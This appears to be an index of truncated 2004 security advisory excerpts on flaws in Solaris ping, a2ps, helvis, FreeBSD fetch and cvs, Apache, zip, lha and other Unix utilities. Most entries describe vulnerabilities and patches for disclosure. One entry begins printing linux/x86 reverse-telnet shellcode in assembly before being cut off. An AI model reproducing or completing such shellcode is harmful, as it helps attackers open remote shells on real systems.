[SA13340] Sun Solaris ping Utility Privilege Escalation Vulnerability

TITLE: Sun Solaris ping Utility Privilege Escalation Vulnerability SECUNIA ADVISORY ID: SA13340 VERIFY ADVISORY: http://secunia.com/advisories/13340/ CRITICAL: Less critical IMPACT: Privilege escalation WHERE: Local system OPERATING SYSTEM: Sun Solaris 9 http://secunia.com/product/95/ Sun Solaris...

Mandrake Linux Security Advisory : a2ps (MDKSA-2004:140)

The GNU a2ps utility fails to properly sanitize filenames, which can be abused by a malicious user to execute arbitrary commands with the privileges of the user running the vulnerable application. The updated packages have been patched to prevent this problem. %NASLMINLEVEL 70300 C Tenable Networ...

helvis -- information leak vulnerabilities

Once a recovery file has been preserved by the setuid root elvprsv utility it is placed in a worldreadable directory with worldreadable permissions. This possibly allows sensitive information to leak. In addition to this information leak, it is possible for users to recover files that belong to...

helvis -- arbitrary file deletion problem

The setuid root elvprsv utility, used to preserve recovery helvis files, can be abused by local users to delete with root privileges. The problem is that elvprsv deletes files when it thinks they have become corrupt. When elvprsv is pointed to a normal file then it will almost always think the fi...

CVE-2004-0917

The default installation of Vignette Application Portal installs the diagnostic utility without authentication requirements, which allows remote attackers to gain sensitive information, such as server and OS version, and conduct unauthorized activities via an HTTP request to /diag...

FreeBSD-SA-04:16.fetch

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ============================================================================= FreeBSD-SA-04:16.fetch Security Advisory The FreeBSD Project Topic: Overflow error in fetch Category: core Module: fetch Announced: 2004-11-18 Credits: Colin Percival...

[Full-Disclosure] FreeBSD Security Advisory FreeBSD-SA-04:16.fetch

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ============================================================================= FreeBSD-SA-04:16.fetch Security Advisory The FreeBSD Project Topic: Overflow error in fetch Category: core Module: fetch Announced: 2004-11-18 Credits: Colin Percival Affect...

FreeBSD : SA-04:16.fetch

The remote host is running a version of FreeBSD which contains a flaw in the 'fetch' utility. 'fetch' is a command-line tool used to retrieve data at a given URL. It is used among others by the FreeBSD port collection. There is an integer overflow condition in the processing of HTTP headers which...

Debian DSA-594-1 : apache - buffer overflows

Two vulnerabilities have been identified in the Apache 1.3 webserver : - CAN-2004-0940 'Crazy Einstein' has discovered a vulnerability in the 'modinclude' module, which can cause a buffer to be overflown and could lead to the execution of arbitrary code. - NO VULN ID Larry Cashdollar has discover...

zip: Path name buffer overflow

Background zip is a compression and file packaging utility. Description zip does not check the resulting path length when doing recursive folder compression. Impact An attacker could exploit this by enticing another user or web application to create an archive including a specially-crafted path...

ncompress: Buffer overflow

Background ncompress is a utility handling compression and decompression of Lempel-Ziv archives, compatible with the original nix compress and uncompress utilities .Z extensions. Description compress and uncompress do not properly check bounds on command line options, including the filename. Larg...

sysstat symbolic links problem

unsafe isag utility temporary files creation...

[VulnWatch] Vignette Application Portal Unauthenticate Diagnostics

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 @stake, Inc. www.atstake.com Security Advisory Advisory Name: Vignette Application Portal Unauthenticated Diagnostics Release Date: 09-28-2004 Application: Vignette Application Portal Platform: Multiple Severity: Unauthenticated diagnostic functionali...

Vignette Application Portal Diagnostic Utility Information Disclosure

The remote host is running Vignette Application Portal, a commercially available portal suite. There is an information disclosure vulnerability in the remote version of this software. An attacker can request the diagnostic utility which will disclose information about the remote site by requestin...

Debian DSA-460-1 : sysstat - insecure temporary file

Alan Cox discovered that the isag utility which graphically displays data collected by the sysstat tools, creates a temporary file without taking proper precautions. This vulnerability could allow a local attacker to overwrite files with the privileges of the user invoking isag. %NASLMINLEVEL 703...

linux/x86 Reverse telnet 134 bytes

linux/x86 Reverse telnet 134 bytes. Shellcode exploit for linx86 platform / Reverse Telnet Shellcode by hts / / jmp 0x31 popl %esi movl %esi,0x4f%esi leal 0x8%esi,%ebx movl %ebx,0x53%esi leal 0xb%esi,%ebx movl %ebx,0x57%esi xorl %eax,%eax movb %eax,0x7%esi movb %eax,0xa%esi movb %eax,0x4e%esi mov...

FreeBSD : SA-04:14.cvs

The remote host is running a version of FreeBSD which contains a version of the 'cvs' utility containing several issues : - An insufficient input validation while processing 'Entry' lines - A double-free issue - An integer overflow when processing 'Max-dotdot' commands - A format string bug when...

GLSA-200409-18 : cdrtools: Local root vulnerability in cdrecord if set SUID root

The remote host is affected by the vulnerability described in GLSA-200409-18 cdrtools: Local root vulnerability in cdrecord if set SUID root Max Vozeler discovered that the cdrecord utility, when set to SUID root, fails to drop root privileges before executing a user-supplied RSH program. By...

security flaw

The IPv6 URI parsing routines in the apr-util library for Apache 2.0.50 and earlier allow remote attackers to cause a denial of service child process crash via a certain URI, as demonstrated using the Codenomicon HTTP Test Tool...

RHEL 2.1 : lha (RHSA-2004:440)

An updated lha package that fixes a buffer overflow is now available. LHA is an archiving and compression utility for LHarc format archives. Lukasz Wojtow discovered a stack-based buffer overflow in all versions of lha up to and including version 1.14. A carefully created archive could allow an...